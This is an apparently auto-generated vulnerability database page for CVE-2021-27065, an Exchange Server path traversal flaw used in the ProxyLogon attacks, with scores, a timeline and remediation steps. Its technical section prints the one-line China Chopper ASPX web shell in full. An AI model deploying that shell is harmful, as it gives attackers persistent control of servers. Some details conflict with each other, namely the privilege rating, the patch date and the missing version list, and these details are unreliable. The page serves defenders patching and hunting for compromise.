What is the CVSS score of CVE-2021-27065?

CVE-2021-27065 has a CVSS 3.1 base score of 7.8 (High). CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. EPSS exploitation probability: 94.3%.

Which versions of Exchange Server are affected by CVE-2021-27065?

CVE-2021-27065 presents notable security risk, a path traversal vulnerability rated CVSS 7.8.. A patch is available.

Is there a public PoC exploit available for CVE-2021-27065?

Yes, a public proof-of-concept exploit is available for CVE-2021-27065. Prioritise patching immediately. EPSS: 94.3%.

How to fix or mitigate CVE-2021-27065?

Within 24 hours: Identify all affected systems and apply vendor patches immediately. Review file handling controls and restrict upload directories.

Exchange Server CVE-2021-27065

HIGH

Path Traversal (CWE-22)

2021-03-03 secure@microsoft.com

Microsoft RCE Path Traversal Exchange Server

7.8

CVSS 3.1 · Vendor: microsoft

Severity by source

Vendor (microsoft) PRIMARY

7.8 HIGH

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from Vendor (microsoft) · only source for this CVE.

CVSS VectorVendor: microsoft

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack Vector

Local

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Analysis Generated

Mar 26, 2026 - 11:19 vuln.today

Added to CISA KEV

Dec 18, 2025 - 02:00 cisa

CISA KEV

PoC Detected

Dec 18, 2025 - 02:00 vuln.today

Public exploit code

Patch released

Dec 18, 2025 - 02:00 nvd

Patch available

CVE Published

Mar 03, 2021 - 00:15 nvd

HIGH 7.8

DescriptionCVE.org

Microsoft Exchange Server Remote Code Execution Vulnerability

AnalysisAI

Microsoft Exchange Server allows post-authentication arbitrary file write that enables web shell deployment, the primary persistence mechanism in the ProxyLogon attack chain responsible for compromising 250,000+ servers.

Technical ContextAI

The CWE-22 path traversal in Exchange's file handling allows writing arbitrary content to paths controlled by the attacker. The exploit writes a one-line ASPX web shell (typically the 'China Chopper' web shell: <%@Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe")%>) to the OWA virtual directory.

RemediationAI

Apply patches AND scan for web shells. Check C:\inetpub\wwwroot\aspnet_client\, OWA, and ECP directories for suspicious .aspx files. Run Microsoft's Exchange On-premises Mitigation Tool (EOMT). Review IIS logs for web shell access.